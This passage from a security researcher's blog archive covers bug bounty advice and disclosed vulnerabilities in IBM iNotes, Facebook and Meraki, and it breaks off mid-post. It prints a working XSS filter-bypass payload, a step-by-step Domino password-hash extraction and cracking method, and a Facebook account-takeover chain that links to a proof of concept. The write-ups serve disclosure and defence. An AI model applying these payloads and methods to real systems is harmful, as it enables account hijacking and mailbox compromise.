<li><b>Frameworks are not immune to bugs. </b>Apache Struts and the countless OGNL expressions code execution bugs (<a href="http://www.cvedetails.com/cve/CVE-2014-0094/">CVE-2014-0094</a>, <a href="http://www.cvedetails.com/cve/CVE-2013-2251/">CVE-2013-2251</a>, <a href="http://www.cvedetails.com/cve/CVE-2013-2135/">CVE-2013-2135</a>, <a href="http://www.cvedetails.com/cve/CVE-2013-2134/">CVE-2013-2134</a>, <a href="http://www.cvedetails.com/cve/CVE-2012-0838/">CVE-2012-0838</a>, ...), Ruby's Action Pack parsing flaw (<a href="http://www.cvedetails.com/cve/CVE-2013-0156/">CVE-2013-0156</a>), Spring's Expression Language injections (<a href="http://www.cvedetails.com/cve/CVE-2011-2730/">CVE-2011-2730</a>), PHP Lavarel <a href="https://labs.mwrinfosecurity.com/blog/2014/04/11/laravel-cookie-forgery-decryption-and-rce/">cookie forgery to RCE</a>, ....and many others. Just a few examples off the top of my head</li>
<li><b>Poor or inconsistent documentation. </b><a href="http://vnhacker.blogspot.com/2014/04/fairy-tales-in-password-hashing-with.html">Scrypt API</a> misuse, ... what else?.. <a href="http://docs.php.net/manual/en/function.htmlspecialchars.php">PHP htmlspecialchars</a></li>
<li><b>Negligence</b><b>. </b><a href="http://code.tutsplus.com/tutorials/mass-assignment-rails-and-you--net-31695">Ruby Mass Assignment</a>, <a href="http://www.cigital.com/justice-league-blog/2009/08/14/proper-use-of-javas-securerandom/">Java SecureRandom</a>, ...it's getting hard</li>
</ol>
</div>
<h3>
</h3>
<div>
<br /></div>
<h3>
It's up to us, the community.</h3>
<div>
<div style="text-align: justify;">
Improving application security is not just discovering and fixing security bugs. It's making sure that we have the right foundations and we build secure software on top of that. We need to trust our tools and know how to use them.</div>
<br />
<div style="text-align: justify;">
Collaboration and open-source are crucial aspects to win this game. As Github successfully demonstrated, code collaboration is a fertile ground. Encouraging code review and transparency creates opportunities for developers and the security community to improve code quality and other software development artifacts - including documentation.</div>
<br />
<div style="text-align: justify;">
Inspire your company to contribute back to the open-source projects on which you rely. As a developer, spend time crafting easy-to-use APIs accompanied with clear documentation. If you're a security researcher, don't stop after you discover a bug: submit a patch and help the project to prevent similar issues. Small things that can really make the difference.</div>
</div>
<h4>
</h4>
<br />
<br />
<br />
<br />Luca Carettonihttp://www.blogger.com/profile/09637069252819452250noreply@blogger.com2tag:blogger.com,1999:blog-732257695511948254.post-75734992495832064642013-08-21T22:47:00.000-07:002013-08-23T14:45:31.462-07:00Five Golden Rules For A Successful Bug Bounty Program<div style="text-align: justify;">
Bug bounty programs have become a popular complement to already existing security practices, like secure software development and security testing. In this space, there are successful examples with many bugs reported and copious rewards paid out. For vendors, users and researchers, this seems to be a mutually beneficial ecosystem.</div>
<br />
<div style="text-align: justify;">
True is that not all bug bounty initiatives have been so successful. In some cases, a great idea was poorly executed resulting in frustration and headache for both vendors and researchers. Ineffective programs are mainly caused by <i>security immaturity</i>, as not all companies are ready and motivated enough to organize and maintain such initiatives. Bug bounties are a great complement to other practices but cannot completely substitute professional penetration tests and source code analysis. Many organizations fail to understand that and jump on the bounties bandwagon without having mature security practices in place.</div>
<br />
<div style="text-align: justify;">
Talking with a bunch of friends during BlackHat/Defcon, we came up with a list of five golden rules to set your bug bounty program up for success. Although the list is not exhaustive, it was built by collecting opinions from numerous peers and should be a good representation of what security researchers expect.</div>
<br />
<b>If you are a vendor considering to start a similar initiative, please read it carefully.</b><br />
<br />
<span style="font-size: large;">The Five Golden Rules:</span><br />
<br />
<b>1. Build trust, with facts</b><br />
<div style="text-align: justify;">
Security testing is based on trust, between client and provider. Trust is important during testing, and especially crucial during disclosure time. As a vendor, make sure to provide as much clarity as you can. For duplicate bugs, increase your transparency by providing more details to the reporter (e.g. date/time of the initial disclosure, original bug ID, etc.). Also, fixing bugs and claiming that they are not relevant (thus non-eligible to rewards) is a perfect way to lose trust. </div>
<br />
<b>2. Fast turn around</b><br />
<div style="text-align: justify;">
Security researchers are happy to spend extra time on explaining bugs and providing workarounds, however they also expect to get notified (and rewarded) at the same reasonable speed. From reporting the bug to paying out rewards, you should have a fast turn around. Fast means days - not months. Even if you need more time to fix the bug, pay out immediately the reward and explain in detail the complexity of rolling out the patch. Decoupling internal development life cycles and bounties allows you to be flexible with external reporters while maintaining your standard company processes. </div>
<br />
<b>3. Get security experts</b><br />
<div style="text-align: justify;">
If you expect web security bugs, make sure to have web security experts around you. For memory corruption vulnerabilities, you need people able to understand root causes and to investigate application crashes. Either internally or through leveraging trusted parties, this aspect is crucial for your reputation. Many of us have experienced situations in which we had to explain basic vulnerabilities and how to replicate those issues. In several cases, the interlocutors were software engineers and not security folks: we simply talk different languages and use different tools.</div>
<br />
<b>4. Adequate rewards</b><br />
<div style="text-align: justify;">
Make sure that your monetary rewards are aligned with the market. What's adequate? Check <a href="http://blog.nibblesec.org/2011/10/no-more-free-bugs-initiatives.html">Mozilla, Facebook, Google, Etsy and many others</a>. If you don't have enough budget - just setup a wall of fame, send nice swags and be creative. For instance, you could decide to pay for specific classes of bugs or medium-high impact vulnerabilities only. Always paying at the low end of your rewards range, even for critical security bugs, it is just pathetic. Before starting, crunch some numbers by reviewing past penetration test reports performed by recognized consulting boutiques.</div>
<br />
<b>5. Non-eligible bugs</b><br />
<div style="text-align: justify;">
Clarify the scope of the program by providing concrete examples, eligible domains and types of bugs that are commonly rejected. Even so, you will have to reject submissions for a multitude of reasons: be as clear and transparent as possible. Spend a few minutes to explain the reason of rejection, especially when the researcher has over-estimated severity or not properly evaluated the issue. </div>
<br />
Happy Bug Hunting, Happy Bug Squashing!Luca Carettonihttp://www.blogger.com/profile/09637069252819452250noreply@blogger.com2tag:blogger.com,1999:blog-732257695511948254.post-44964401861873630922013-08-09T13:50:00.000-07:002013-08-09T13:50:58.678-07:00All your (iNotes) emails are belong to me<div style="text-align: justify;">
This post describes a critical bypass of the <b>Active Content Filtering</b>
(ACF) mechanism that is implemented in <a href="http://en.wikipedia.org/wiki/IBM_Lotus_iNotes">IBM iNotes</a> to avoid the
inclusion of malicious HTML tags as part of emails. The bug
has been identified during a web application penetration test,
and can be exploited to perform stored Cross-Site Scripting (XSS) attacks. The bypass has been successfully verified with <b>IBM
iNotes 9</b> and an official <a href="http://www-01.ibm.com/support/docview.wss?uid=swg21645503">bulletin</a> and fix have been released on August 1st, 2013.</div>
<div style="text-align: justify;">
<br /></div>
<h3 style="text-align: justify;">
From zero to Domino admin in a matter of hours</h3>
<div style="text-align: justify;">
<br />
Early this spring I have been asked to assess the security of the mail infrastructure owned by a big company here in Italy. Pentesting the Domino/Notes/iNotes ecosystem is nowadays a <i>piece of cake</i> because of the large amount of publicly available documentation, advisories and tools.<br />
<br />
If you are interested in testing this kind of infrastructure, I would recommend the following resources.</div>
<div style="text-align: justify;">
<br />
First of all, <b>Marco Ivaldi</b>'s <a href="http://www.exploit-db.com/exploits/3302/">script</a> can be used to automatically download all users' password hashes, together with details about every single account (e.g. name, surname, e-mail address, etc.). By simply accessing the <b>names.nsf</b> web resource, the tool extracts the desired information disclosed by the hidden attribute named <b>HTTPPassword</b>. The extracted hashes can be easily cracked using <a href="http://pentestmonkey.net/cheat-sheet/john-the-ripper-hash-formats">John The Ripper</a>: <b>William Ghote</b> gave a great <a href="https://www.youtube.com/watch?v=vfUqZo1Hryg">talk</a> at BSides Las Vegas 2012 detailing the Lotus Notes password cracking process.</div>
<div style="text-align: justify;">
<br /></div>
<div style="text-align: justify;">
Finally, <a href="http://dsecrg.com/files/pub/pdf/Penetration_from_application_down_to_OS_%28Lotus_Domino%29.pdf">Penetration from application down to OS - Lotus Domino</a> by <b>Alexandr Polyakov</b> and <a href="http://www.youtube.com/watch?v=RS0RpEWcPfk">Lotus Domino: Penetration Through the Controller</a> by <b>Alexey Sintsov</b> complete <i>the picture</i> providing even more details on how to pentest Lotus Domino deployments.<br />
<br />
The links above are amazing resources that describe step by step how to
easily hack into a mail infrastructure based on IBM solutions. As for my experience, a standard <i>attack pattern</i> to breach the Domino/iNotes infrastructure and access every company's e-mail accounts can be schematized as follow:<br />
<br /></div>
<div style="text-align: justify;">
<ol>
<li>Identify the location/path of the names.nsf web resource;</li>
<li>Identify the user(s) with administrative privileges;</li>
<li>Verify the user's password hash disclosure via the HTTPPassword hidden attribute;</li>
<li>Get all the administrators' password hashes;</li>
<li>Crack the so obtained hashes with John the Ripper;</li>
<li>Log into the Domino Web Administrator application and have a drink. </li>
</ol>
<br />
The whole process took less than 30 hours and I can't hide that, at least for this time, this task was as easy as <i>cut and paste</i> of known attacks against an outdated environment. As my pentest objectives were quickly accomplished, I decided to turn my job into a <i>security research</i> session. Because of that, I dedicated the rest of the engagement to verifying the effectiveness of the aforementioned ACF mechanism.<br />
<br />
<h3>
Active Content Filtering (ACF) vulnerability details</h3>
<br />
The analysis of the filter started with injecting simple and well-known XSS attack vectors, in order to understand the underlying logic and spot potential defects. On the basis of my analysis - that must be considered an incomplete understanding of the filter's internals, based exclusively on black box observations - ACF tries to block malicious HTML tags by both commenting JavaScript code, specified by the <span style="font-family: inherit;"><span style="font-size: small;"><b><script></b></span></span> tag, and normalizing/filtering tag attributes that could lead to client-side code execution (e.g. by eliminating the <b>onXYZ</b> event handlers, such as <b><span style="font-family: inherit;">onerror</span></b> or <b><span style="font-family: inherit;">onmouseover</span></b>). During the engagement, I found that the filtering feature is not properly implemented and allows an attacker to inject arbitrary attributes. In details, what I found is that the ACF is not able to correctly sanitize the sequence of characters <span style="font-family: inherit;"><b>src="<</b></span>. For the sake of clarity, the following attack payload:<br />
<br />
<div style="text-align: center;">
<span style="font-size: small;"><span style="font-family: inherit;"><b><img src=<span style="color: red;">"</span><span style="color: #0b5394;">< onerror=alert(1) src=x</span>></b></span></span></div>
<br />
would be transformed in:<br />
<br />
<div style="text-align: center;">
<span style="font-size: small;"><span style="font-family: inherit;"><b><img <span style="color: #0b5394;">< onerror=alert(1) src=x</span>></b></span></span></div>
<br />
resulting in the JavaScript alert method execution. Figure 1 shows how the above vector is incorrectly treated and used to set the <b><span style="font-family: inherit;">BodyHtml</span></b> variable - which contains the mail's HTML body message.<br />
<br />
<span style="background-color: cyan;"></span></div>
<table align="center" cellpadding="0" cellspacing="0" class="tr-caption-container" style="margin-left: auto; margin-right: auto; text-align: center;"><tbody>
<tr><td style="text-align: center;"><a href="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEgxiMO2DBuwTwx379x3YADsqQMpwIu2KXHkqHjPvtjJEybzTgpwsJ7b8czbLFztmjlZlSO4VnfujQvoi4Z5H2e8VIKc-jgkRq6b99vdr_oNwi6jAsBIjlrcpN_bj08DD52_pI_R1CcCS4DW/s1600/bypass.png" imageanchor="1" style="margin-left: auto; margin-right: auto;"><img border="0" height="167" src="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEgxiMO2DBuwTwx379x3YADsqQMpwIu2KXHkqHjPvtjJEybzTgpwsJ7b8czbLFztmjlZlSO4VnfujQvoi4Z5H2e8VIKc-jgkRq6b99vdr_oNwi6jAsBIjlrcpN_bj08DD52_pI_R1CcCS4DW/s1600/bypass.png" width="400" /></a></td></tr>
<tr><td class="tr-caption" style="text-align: center;">Figure 1 - Bypass of the ACF mechanism and injection of JavaScript code.</td></tr>
</tbody></table>
<div class="separator" style="clear: both; text-align: center;">
</div>
<div class="separator" style="clear: both; text-align: center;">
</div>
<div class="separator" style="clear: both; text-align: center;">
</div>
<br />
<h3>
Conclusion</h3>
<br />
<div style="text-align: justify;">
The ACF bypass can be effectively abused to perform stored XSS attacks against iNotes users. In a real-world attack scenario, the bug could not only be exploited to perform <a href="http://en.wikipedia.org/wiki/Session_hijacking">Session Hijacking</a> but also combined with <a href="http://en.wikipedia.org/wiki/Cross-site_request_forgery">Cross-Site Request Forgery</a> (CSRF) to add a new e-mails <i>forwarding rule</i> to the victim's iNotes application, thus effectively <b>backdooring</b> the victim's mailbox.<span style="color: yellow;"><span style="color: black;"> </span></span><br />
<br />
<span style="color: yellow;"><span style="color: black;">The following video demonstrates the execution of arbitrary JavaScript thanks to the described vulnerability. Moreover, it shows how the <span style="background-color: white;">mail preview mechanism, if enabled, implies that the victim <b>is not required to open the message in order to trigger the execution of JavaScript code</b></span> - <i>greatly reducing</i> the required user iteration:
</span></span></div>
<br />
<br />
<div style="text-align: center;">
<object height="315" width="560"><param name="movie" value="//www.youtube.com/v/kCH2uqGGfWc?version=3&hl=it_IT"></param>
<param name="allowFullScreen" value="true"></param>
<param name="allowscriptaccess" value="always"></param>
<embed src="//www.youtube.com/v/kCH2uqGGfWc?version=3&hl=it_IT" type="application/x-shockwave-flash" width="560" height="315" allowscriptaccess="always" allowfullscreen="true"></embed></object></div>
<br />
<br />
<div style="text-align: justify;">
<span style="background-color: white;"></span>
<br />
<div style="text-align: justify;">
<span style="background-color: white;">Finally, I would like to thank my fellow <a href="https://twitter.com/theguly">Sandro Zaccarini</a> and <a href="https://twitter.com/l_rizzi">Leonardo Rizzi</a> for providing me the infrastructure to properly investigate this issue, and <b>IBM Product Security Incident Response Team</b> (PSIRT) for their timely responses and professionalism.</span></div>
</div>
<br />Unknownnoreply@blogger.com0tag:blogger.com,1999:blog-732257695511948254.post-72225809025712500632013-03-19T12:52:00.000-07:002013-03-19T13:22:40.427-07:00UI Redressing against Facebook<div style="text-align: justify;">
In this post, I'm going to discuss a possible attack scenario, targeting the Facebook web application, that could lead to the reset of account passwords in an <i>automated</i> fashion exploiting a UI Redressing issue with the use of a <a href="http://blog.nibblesec.org/2012/12/ui-redressing-mayhem-firefox-0day-and.html">cross-domain</a> extraction technique.<br />
<br /><h3>
UI Redressing bug, again</h3>
<h3>
</h3>
During my research, I discovered a Facebook's web resource that is not protected by the X-Frame-Options and that includes the <b>fb_dtsg</b> token, which is adopted as an anti-CSRF token (Figure 1). The following is the affected URL:<br />
<ul>
<li><b>http://www.facebook.com/ajax/intl/language_dialog.php </b></li>
</ul>
<table align="center" cellpadding="0" cellspacing="0" class="tr-caption-container" style="margin-left: auto; margin-right: auto; text-align: center;"><tbody>
<tr><td style="text-align: center;"><a href="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEiEe1eQ6TV614oW7JIui50hWIVw5f5QDDDoX8t_rCBFzUeND5w6sQNPDArK3JiAqGyeiEc3wKXoukF45kZm_eJHooiVZSN79c91bikLKSlBayHJ-5fyGxxV1rZNEEBeWc0U7mszr0YPpsW5/s1600/xfo.png" imageanchor="1" style="margin-left: auto; margin-right: auto;"><img border="0" height="248" src="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEiEe1eQ6TV614oW7JIui50hWIVw5f5QDDDoX8t_rCBFzUeND5w6sQNPDArK3JiAqGyeiEc3wKXoukF45kZm_eJHooiVZSN79c91bikLKSlBayHJ-5fyGxxV1rZNEEBeWc0U7mszr0YPpsW5/s640/xfo.png" width="640" /></a></td></tr>
<tr><td class="tr-caption" style="text-align: center;">Figure 1 - Facebook's web resource vulnerable to UI Redressing attacks.</td></tr>
</tbody></table>
<div style="text-align: justify;">
The iframe-to-iframe extraction method can be applied here to extract fb_dtsg's value and, consequently, perform a series of <a href="https://www.owasp.org/index.php/Cross-Site_Request_Forgery_%28CSRF%29">Cross-Site Request Forgery</a> attacks against the integrity of the victim's profile data.<br />
<br />
<span style="color: red;"></span> <br />
<h3>
</h3>
<h3>
The theory behind the Facebook profiles takeover</h3>
<h3>
</h3>
<h3>
</h3>
</div>
</div>
<div style="text-align: justify;">
Facebook allows users to add a mobile number that, once certified, can be adopted as username in order to login or reset the account's password. Users can insert their mobile numbers via the <b>Account Settings → Mobile → Add a phone → add your phone number</b> options (Figure 2 and Figure 3): a confirmation code is therefore sent by Facebook's system to the user's mobile phone and it must be inserted (Figure 4) to complete the activation process.<br />
<table align="center" cellpadding="0" cellspacing="0" class="tr-caption-container" style="margin-left: auto; margin-right: auto; text-align: center;"><tbody>
<tr><td style="text-align: center;"><a href="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEivzb-2EhspZZ4SAozoso5bRowQ-qVMe9TR1BeNHBr5BTu5bPAdnt0sI8usw35u1YuXSFNlaeaqAfzvticiRWuoveWaDK95vo10sVefVgeh9FopwSisEXaMNNAow4iiWhBvid4rCWBywHwA/s1600/1.png" imageanchor="1" style="margin-left: auto; margin-right: auto;"><img border="0" height="170" src="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEivzb-2EhspZZ4SAozoso5bRowQ-qVMe9TR1BeNHBr5BTu5bPAdnt0sI8usw35u1YuXSFNlaeaqAfzvticiRWuoveWaDK95vo10sVefVgeh9FopwSisEXaMNNAow4iiWhBvid4rCWBywHwA/s640/1.png" width="400" /></a></td></tr>
<tr><td class="tr-caption" style="text-align: center;">Figure 2 - Users can add their mobile number via the "add your phone number here" link.</td></tr>
</tbody></table>
<table align="center" cellpadding="0" cellspacing="0" class="tr-caption-container" style="margin-left: auto; margin-right: auto; text-align: center;"><tbody>
<tr><td style="text-align: center;"><a href="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEiAeLLxo2zhk1d4v7KCk-4RNhOHxZP_VcrJKIkIt7TGKdXuBTV2tUK7-uAjDEynhz7zcTcLwTnQTYCeC6g61C4W5fsqH2uIenJxQWimIxyKdWIFPtDJqL-mABinsVZg-RBw8t9VUzAhCHDN/s1600/2.png" imageanchor="1" style="margin-left: auto; margin-right: auto;"><img border="0" height="170" src="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEiAeLLxo2zhk1d4v7KCk-4RNhOHxZP_VcrJKIkIt7TGKdXuBTV2tUK7-uAjDEynhz7zcTcLwTnQTYCeC6g61C4W5fsqH2uIenJxQWimIxyKdWIFPtDJqL-mABinsVZg-RBw8t9VUzAhCHDN/s640/2.png" width="400" /></a></td></tr>
<tr><td class="tr-caption" style="text-align: center;">Figure 3 - Facebook's form used to add a mobile number.</td></tr>
</tbody></table>
<table align="center" cellpadding="0" cellspacing="0" class="tr-caption-container" style="margin-left: auto; margin-right: auto; text-align: center;"><tbody>
<tr><td style="text-align: center;"><a href="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEitxfhsnVhiIxL9bMHLkYzsCCOQcjjv0_4s9-nw_O2JMkXkuo1uiJISgaqSVislEkenN6AXx4yGRGtFIz1MmnbMcIJvD0quJSMXpdc1ANhJsdFelzZuTyTwHmvj-ZevnWt-9R0He8Zvr72K/s1600/3.png" imageanchor="1" style="margin-left: auto; margin-right: auto;"><img border="0" height="195" src="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEitxfhsnVhiIxL9bMHLkYzsCCOQcjjv0_4s9-nw_O2JMkXkuo1uiJISgaqSVislEkenN6AXx4yGRGtFIz1MmnbMcIJvD0quJSMXpdc1ANhJsdFelzZuTyTwHmvj-ZevnWt-9R0He8Zvr72K/s640/3.png" width="400" /></a></td></tr>
<tr><td class="tr-caption" style="text-align: center;">Figure 4 - A confirmation code is sent to the user's mobile and must be entered to complete the process.</td></tr>
</tbody></table>
<br />
The main issue here is that no <i>password </i>is required to associate the mobile number to the user's profile. Because of this, an attacker may abuse the described UI Redressing vulnerability to steal the <b>fb_dtsg</b> token and register an arbitrary phone number. Despite this, the attacker still needs to insert the confirmation code in order to associate his mobile number. A bit of black magic helps here: the attacker can abuse an <i>SMS to mail</i> mobile application to <i>automatically</i> forward the Facebook text-message (SMS) to an attacker-controlled mail box, thus allowing an hypothetical exploit to fetch the code and complete the insertion process.<br />
<br />
<h3>
The exploit</h3>
<h3>
</h3>
A working Proof of Concept exploit has been developed in order to demonstrate the described attack. We have also shared the code with the Facebook security team. During my experiments, the Android application <a href="https://play.google.com/store/apps/details?id=com.frogggias.sms2mail">SMS2Mail</a> has been adopted to forward the Facebook SMS (Figure 5) to the mail box (Figure 6).<br />
<br />
<table align="center" cellpadding="0" cellspacing="0" class="tr-caption-container" style="margin-left: auto; margin-right: auto; text-align: center;"><tbody>
<tr><td style="text-align: center;"><a href="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEiJV4rmoZxTLce6dlDqdmAC5I_cGCrdK6UTNhS9qT2n84TNfeCXxv4gkxfpIWZDiN3pgml6etsBH0f08Wg6ftnt7RAm2fiMaKH2Fc0HzUpnslH0zl-zNcBxVL_UDqPBTgXE0GqIVZadmaYJ/s1600/phone.png" imageanchor="1" style="margin-left: auto; margin-right: auto;"><img border="0" height="400" src="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEiJV4rmoZxTLce6dlDqdmAC5I_cGCrdK6UTNhS9qT2n84TNfeCXxv4gkxfpIWZDiN3pgml6etsBH0f08Wg6ftnt7RAm2fiMaKH2Fc0HzUpnslH0zl-zNcBxVL_UDqPBTgXE0GqIVZadmaYJ/s400/phone.png" width="225" /></a></td></tr>
<tr><td class="tr-caption" style="text-align: center;">Figure 5 - SMS with the Facebook's confirmation code that has been forwarded to the attacker's mail box.</td></tr>
</tbody></table>
<br />
<table align="center" cellpadding="0" cellspacing="0" class="tr-caption-container" style="margin-left: auto; margin-right: auto; text-align: center;"><tbody>
<tr><td style="text-align: center;"><a href="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEg_mv23b2ivAzgMoA4-T-a4OE04pfwmjhgmoWjr0LLRwKHtwuIRbeevAnfpl5_9bepcEbCWvfvwNoPWzXQFlVKCHIR82Lkf7MxCEA-mW8mefBCgmfJkRX6-ObbDBkAOixg_8vhFfMrWrWbL/s1600/forward.png" imageanchor="1" style="margin-left: auto; margin-right: auto;"><img border="0" height="114" src="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEg_mv23b2ivAzgMoA4-T-a4OE04pfwmjhgmoWjr0LLRwKHtwuIRbeevAnfpl5_9bepcEbCWvfvwNoPWzXQFlVKCHIR82Lkf7MxCEA-mW8mefBCgmfJkRX6-ObbDBkAOixg_8vhFfMrWrWbL/s640/forward.png" width="640" /></a></td></tr>
<tr><td class="tr-caption" style="text-align: center;">Figure 6 - Facebook confirmation code forwarded to the attacker's mailbox.</td></tr>
</tbody></table>
<span style="color: red;"></span><br />
The following steps summarize the exploitation phases:</div>
<ol>
<li>The exploit frames the vulnerable resource and allows the victim to play a fake game while performing the cross-domain content extraction;</li>
<li>The <b>fb_dtsg </b>anti-CSRF token and the victim's user id are extracted. An HTTP request is forwarded to the Facebook application in order to <i>emulate</i> the attacker-controlled mobile number registration;</li>
<li>An text-message (SMS), containing the confirmation code, is sent to the attacker mobile device. An SMS2Mail mobile application is installed on attacker's device and automatically forwards the SMS to an attacker-controlled mail box;</li>
<li>The exploit waits for the SMS to be forwarded to the mail box, then extracts the confirmation code and performs a second CSRF attack in order to submit the code itself and complete the mobile number registration. </li>
</ol>
<div style="text-align: justify;">
<br />
The attacker's mobile number is now associated with the victim's profile and can be used to reset the account's password. As a matter of fact, Facebook allows users to enter a previously associated mobile number (Figure 7) which is then used to send a reset code (Figure 8).<br />
<br />
<table align="center" cellpadding="0" cellspacing="0" class="tr-caption-container" style="margin-left: auto; margin-right: auto; text-align: center;"><tbody>
<tr><td style="text-align: center;"><a href="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEh0Dch-nLhEcXQmh54MJxreefWmv3fxOe7YRJ0OQ2bigudMQMQsf2fCjryaOK8qhZWoswU1y_aPjZw8HlrH83O6Dm0tpe854Zt2JMZYv4QVqLm0NR7DN-YGqxFESTzcy3X8fT57bx-tZuDg/s1600/reset1.png" imageanchor="1" style="margin-left: auto; margin-right: auto;"><img border="0" height="200" src="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEh0Dch-nLhEcXQmh54MJxreefWmv3fxOe7YRJ0OQ2bigudMQMQsf2fCjryaOK8qhZWoswU1y_aPjZw8HlrH83O6Dm0tpe854Zt2JMZYv4QVqLm0NR7DN-YGqxFESTzcy3X8fT57bx-tZuDg/s1600/reset1.png" width="400" /></a></td></tr>
<tr><td class="tr-caption" style="text-align: center;">Figure 7 - Reset password mechanism involving the user's mobile number .</td></tr>
</tbody></table>
<table align="center" cellpadding="0" cellspacing="0" class="tr-caption-container" style="margin-left: auto; margin-right: auto; text-align: center;"><tbody>
<tr><td style="text-align: center;"><a href="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEiwj3Z_iS2A9NSjkc7wFcTid3v5hzISt9B8hTE3IcjwPKceFR9aFrfPmApOMSeytmnsDVrLkmr0SIsZ-9zeZ7OokQHNmG3rvZB78IQFW0CMTqeFgFn5TqbfbnteHqLvh1kaKtHZFJZEY9zn/s1600/reset2.png" imageanchor="1" style="margin-left: auto; margin-right: auto;"><img border="0" height="171" src="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEiwj3Z_iS2A9NSjkc7wFcTid3v5hzISt9B8hTE3IcjwPKceFR9aFrfPmApOMSeytmnsDVrLkmr0SIsZ-9zeZ7OokQHNmG3rvZB78IQFW0CMTqeFgFn5TqbfbnteHqLvh1kaKtHZFJZEY9zn/s1600/reset2.png" width="400" /></a></td></tr>
<tr><td class="tr-caption" style="text-align: center;">Figure 8 - Facebook's form used to insert the resetting code.</td></tr>
</tbody></table>
<div style="text-align: justify;">
A fully automated Proof of Concept exploit can be downloaded <span style="color: black;"><a href="https://github.com/daath1/nibblesec/tree/master/ui_redressing_mayhem/facebook">here</a>, while the following video illustrates the described attack:</span></div>
</div>
<div style="text-align: justify;">
<br />
<iframe allowfullscreen="allowfullscreen" frameborder="0" height="360" src="http://www.youtube.com/embed/ChJRifPoMWY" width="640"></iframe>
</div>
Unknownnoreply@blogger.com5tag:blogger.com,1999:blog-732257695511948254.post-62239727517460830972013-03-11T00:28:00.001-07:002014-07-07T00:30:10.803-07:00Subverting a cloud-based infrastructure with XSS and BeEF<blockquote class="tr_bq">
<span style="color: #3a3935; font-family: inherit;">Well, the world is changing. You can probably do a lot more direct damage </span><span style="color: #3a3935;"><span style="font-family: inherit;">with a XSS in a high-value site than with a local privilege escalation in sudo [...] - </span></span><i>lcamtuf@coredump.cx</i></blockquote>
<div style="text-align: justify;">
If you are intrigued by sophisticated exploits and advanced techniques, Cross-Site Scripting isn't probably the most appealing topic for you. Nevertheless, recent events demonstrated how this class of vulnerabilities has been used to compromise <a href="http://krebsonsecurity.com/2012/11/yahoo-email-stealing-exploit-fetches-700/">applications</a> and even <a href="https://blogs.apache.org/infra/entry/apache_org_04_09_2010">entire servers</a>. </div>
<br />
<div style="text-align: justify;">
Today, we are going to present a possible attack scenario based on a real-life vulnerability that has been recently patched by the <a href="http://www.meraki.com/">Meraki</a> team. Although the vulnerability itself isn't particularly interesting, it is revealing how a trivial XSS flaw can be abused to subvert an entire network infrastructure.<br />
<br />
<h4>
Meraki</h4>
</div>
<div style="text-align: justify;">
Meraki is the first cloud-managed network infrastructure company and it's now part of <a href="http://www.cisco.com/web/about/ac49/ac0/ac1/ac259/meraki.html">Cisco Systems</a>. The idea is pretty neat: all network devices and security appliances (wired and wireless) can be managed by a cutting-edge web interface hosted in the cloud, allowing Meraki networks to be completely set up and controlled through the Internet. Many <a href="http://www.meraki.com/customers">enterprises, universities and numerous other businesses</a> are already using this technology.</div>
<br />
<div class="separator" style="clear: both; text-align: center;">
<img border="0" height="403" src="https://meraki.cisco.com/blog/wp-content/uploads/2010/02/Meraki-Network-Simulator_image2.jpg" width="640" /></div>
<div style="text-align: justify;">
<br />
As usual, new technologies introduce opportunities and risks. In such environments, even a simple Cross-Site Scripting or a Cross-Site Request Forgery vulnerability can affect the overall security of the managed networks.</div>
<br />
<h3>
The vulnerability</h3>
<div style="text-align: justify;">
During a product evaluation of a cloud managed Wireless Access Point, we noticed the possibility to personalize the portal splash page. Users accessing your WiFi network can be redirected to a custom webpage (e.g. containing a disclaimer) before accessing Internet.</div>
<br />
<div style="text-align: justify;">
To further customize our splash page, we started including images and other HTML tags. With big surprise, we quickly discovered that just a basic HTML/JS validation was performed in that context. As a result, we were able to include things like:</div>
<br />
<div class="separator" style="clear: both; text-align: center;">
<a href="http://3.bp.blogspot.com/-ZB918q9VtyE/URx_p6YJhYI/AAAAAAAAC_A/lBgJ2NhCj6U/s1600/SplashScreenForm.png" imageanchor="1" style="margin-left: 1em; margin-right: 1em;"><img border="0" src="http://3.bp.blogspot.com/-ZB918q9VtyE/URx_p6YJhYI/AAAAAAAAC_A/lBgJ2NhCj6U/s1600/SplashScreenForm.png" /></a></div>
<div class="separator" style="clear: both; text-align: center;">
<br /></div>
What was even more interesting is the fact that the splash page is also hosted in the cloud. Unlike traditional WiFi APs where the page is hosted on the device itself, Meraki appliances use cloud resources.<br />
<br />
<span style="font-family: "Courier New",Courier,monospace;">https://<span style="background-color: yellow;">n20<b>.meraki.com</b></span>/splash/?mac=XXXX&client_ip=XXXX&client_mac=XXXX&vap=0&a=XXXX&b=XXXX&auth_version=5&key=<span style="background-color: yellow;">ef1115d... <b>AUTH_KEY</b>...d41c283</span>&node_ip=XXXX&acl_ver=XXXX&continue_url=http%3A%2F%2Fwww.google.com</span><br />
<br />
<div style="text-align: justify;">
<span style="font-family: inherit;">To protect that page from random visitors, a unique token is used for authentication. Assuming you provide the right token and other required parameters, that page is accessible to Internet users. </span><br />
<br />
<span style="font-family: inherit;">Now, let's add to the mix that Meraki uses a limited number of domains for all customers </span>(<i>e.g. n1-29.meraki.com</i>, etc.) <span style="font-family: inherit;">and, more importantly, that the </span>dashboard <span style="font-family: inherit;">session token is scoped to *</span><i style="font-family: inherit;"><b>.meraki.com</b></i><span style="font-family: inherit;">. This factor turns the stored XSS affecting our own device's domain to a vulnerability that can be abused to retrieve the dashboard cookie of other users and networks. </span><br />
<br />
<h3>
Attack scenario</h3>
